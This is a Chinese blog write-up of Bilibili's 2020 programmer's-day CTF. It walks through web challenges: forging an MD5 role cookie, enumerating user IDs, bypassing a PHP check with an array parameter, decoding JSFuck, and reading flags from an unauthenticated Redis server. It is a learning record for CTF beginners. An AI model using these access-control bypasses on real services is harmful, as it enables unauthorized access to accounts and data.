avatar

目录
Bilibili_2020_1024程序员节Ctf

写在前面

1024,一年一度的程序员节。你好,世界!你好,程序员!
(但是 2 0 2 0 - 1 0 2 4 … hhh
就在10.24的0点,Bilibili为大家献上了一份大礼:Bilibili_CTF_2020
经过了艰苦卓绝(~并不 的奋战,我终于拿到了70 of 100 的分数(平 均 水 平
接下来带来这7道题的解析,希望能够成为对Ctf新手的指引吧
Alt text
守护世界上最好的睿叔!(笑

Question_ID_1 页面的背后是什么?

题目地址:http://45.113.201.36/index.html

解析

顾名思义,页面的背后就是源代码啦~
F12检查元素,得到第一题的源码如下:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果没值
$('#flag1').html("接口异常,请稍后再试~");
}
}
})

根据提示修改url为http://45.113.201.36/api/admin,页面返回{"code":200,"data":"9eaf84d8-0336b140-23185a95-13d5825f","msg":""}
在依据代码逻辑,我们确定Flag1为9eaf84d8-0336b140-23185a95-13d5825f

Question_ID_2 真正的秘密只有特殊的设备才能看到

题目地址:http://45.113.201.36/index.html

解析

诶?特殊的设备?
还是老老实实检查元素吧~
Alt text

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})

可是,需要使用bilibili Security Browser浏览器访问~又是什么意思呢?
对了!我们可以修改UA标识!!
F12检查元素,模拟设备,添加自定义设备!
我们加入一个名为bilibili Security Browser的新设备,刷新页面发现并没有得出Flag
索性把所有涉及设备的参数设置为bilibili Security Browser,F5刷新后,就得到了Flag~
Flag2:be74383e-0b87bbde-40c0c5c4-da62eec3

Question_ID_3 密码是啥?

题目地址:http://45.113.201.36/login.html

解析

F12康康代码逻辑

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

//falg 3

$("#submit").click(function(){

$.ajax({
url: "api/ctf/3",
type: "post",
contentType: "application/json",
dataType:"json",
data: JSON.stringify({
username: $("#name").val(),
passwd: $("#subject").val(),
}),
success:function (data) {
if (data.code == 200){
alert("flag is: " + data.data);
} else {
alert("用户名或密码错误~");
}
}
})
});

Alt text
密码是什么呢?首先考虑密码爆破!
跑完了字典,但是密码并没有试出来……
简单想想,用户名应该就是admin没得跑,那么密码是什么呢?
最终猜测得到bilibili = = (CTF× 猜 灯 谜√

Flag3:3f06bf77-e57dad87-a669c72b-4d8b296b

Question_ID_4 对不起,权限不足~

题目地址:http://45.113.201.36/superadmin.html

Alt text

解析

Alt text
F12!

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})

好家伙,我直接懵逼.jpg
打开Fiddler抓个包~
查看返回包的Cookie时候,发现了有意思的东西:
Cookie: role=ee11cbb19052e40b07aac0ca060c23ee; session=eyJ1aWQiOiIzNzIwODMyMSJ9.X5Qnkw.1NWStBUpUlAWQhYOM9av9W_qEWA
这个role值就很耐人寻味呀~似乎是一个加密后的字符串?
尝试解码,初步确定是MD5加密后的结果,且解密为admin字符串
那么思路就应该是替换Cookie的字段值了。将superadmin采用md5加密,利用EditThisCookie插件修改role值,居然不对!
猜来猜去,administrator,Superadmin,SuperAdmin……
最终正确答案为Administrator【md5:7b7bc2512ee1fedcd76bdc68926d4f7b】 = = 万万没想到啊!
修改Cookie后刷新页面,就会返回正确的Flag啦!
Flag5:126fb903-b39dfd0d-0bf68925-219cd931

Question_ID_5 别人的秘密

题目地址:http://45.113.201.36/user.html

解析

并看不懂= =,管他的,F12!
Alt text

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

$(function () {


(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});

原来如此!遍历!遍历!!
用Get方法,以http://45.113.201.36/api/ctf/5?uid=100336889为基准,uid++向上遍历!
遍历到http://45.113.201.36/api/ctf/5?uid=100336913的时候,服务端返回了code:200!
{"code":200,"data":"314ebf97-6bc0234f-b906e013-52b47f23","msg":""}
(果然是“别人的秘密”呀

那么,Flag5:314ebf97-6bc0234f-b906e013-52b47f23

Question_ID_6 结束亦是开始

题目地址:http://45.113.201.36/blog/single.php?id=1

解析

终于我们进入了动态页面的世界~
Alt text
扫描!扫描!
我们得到了两个页面:end.php和test.php
end.php就和他的名字一样,空白的页面,和一句你想要的不在这儿~
而test.php就有趣的多了:页面返回内容如下

内容(建议跳过

Code
1
2
3
4
5
6

[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!

………(太长啦~

+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()(([]+{})[+[]])[+[]]+(!+[]+!![]+[])+(!+[]+!![]+[]))+([]+{})[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+(+!![][]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])())[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])()(([]+{})[+[]])[+[]]+(!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))

很明显的jsfuck加密方法,最初被黑客用于网页注入~
在Chrome浏览器粘贴运行可以直接解码
结果为:

Code
1
2
3
"var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()"

str1的内容很容易看出是Unicode字符,经转化得到程序员最多的地方
果断打开最大的同性交友网站 Github!搜索bilibili1024havefun找到对应的Repository
拿到真·end.php的源码:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);

//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>

传参id[]=1满足第一个条件,按照前面题目的格式api/ctf/x,不难猜出有api/ctf/6/flag.txt
考虑到这玩意也不是个flag,又想到图片隐写~于是另存为图片,打开就是flag啦
于是得到了Flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65(??《关于我做第六题却得到了第十题Flag的事》

Question_ID_7 接下来的旅程,需要少年自己去探索啦~

题目地址:NULL

解析

404

Question_ID_8 接下来的旅程,需要少年自己去探索啦~

题目地址:NULL

解析

在NodeJS框架下解
需要库:redis
阶梯代码如下

Code
1
2
3
4
5
6
7
8
9
10
11
var redis = require('redis'),
RDS_PORT = 6379,
RDS_HOST = '120.92.151.189',
RDS_OPTS = {},
client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS);

client.on('connect', function () {
client.hgetall("flag8", (e, r) => {
console.dir(r);
})
});

喜闻乐见的是,全国的带佬们都在用扫描,不排除还有爆破从而达成人肉DDOS的hhh
总而言之,服务器在挂的边缘疯狂试探,我愿称之为服务器的挂&不挂二象性
多试几次~

返回结果:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag1"
"3b96173a-b3df4cdd-22d4c15f-261e7309"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag2"
"bd871042-1e09a130-3ddd4faa-cebdb048"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag3"
"c7f7a7c2-28b7f895-5432152b-6410e042"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag4"
"d338e3c8-93215105-258d79ba-b364e59c"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag5"
"612d1886-044898af-6c1e9dba-b58ad075"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag6"
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag7"
"b78ce2aa-10d03327-f2035f4e-55c17689"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag8"
"d436b982-2b81aa54-49a8d2db-87ab951a"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag9"
"b3238659-b81512e6-3a307c74-9877ecc5"
[root@demo ~]# redis-cli -h 120.92.151.189 -p 6379 -r 1 get "flag10"
"e5653416-595b3d0c-4c2a57ee-c026350e"

我们得到了Flag8:d436b982-2b81aa54-49a8d2db-87ab951a

Question_ID_9 接下来的旅程,需要少年自己去探索啦~

题目地址:NULL

解析

404

Question_ID_10 接下来的旅程,需要少年自己去探索啦~

题目地址:NULL

解析

404

总结

6、7、9题截止目前还没有解出来
(史称679事件 我还是太菜了啊TAT
总之Bilibili_2020_10_24_CTF的题目就做到这里了,虽然都是Web方向的题,但是还是存在着很多运气的成分Administrator /笑
对新手还是蛮友好的,前5题还是可以学到很多东西,特别是Web题里面的一些基础知识~

文章作者: Cosmos_F
文章链接: http://fengxinyue.cn/post/6d0a3683.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 学习心得
打赏
  • 微信
    微信
  • 支付寶
    支付寶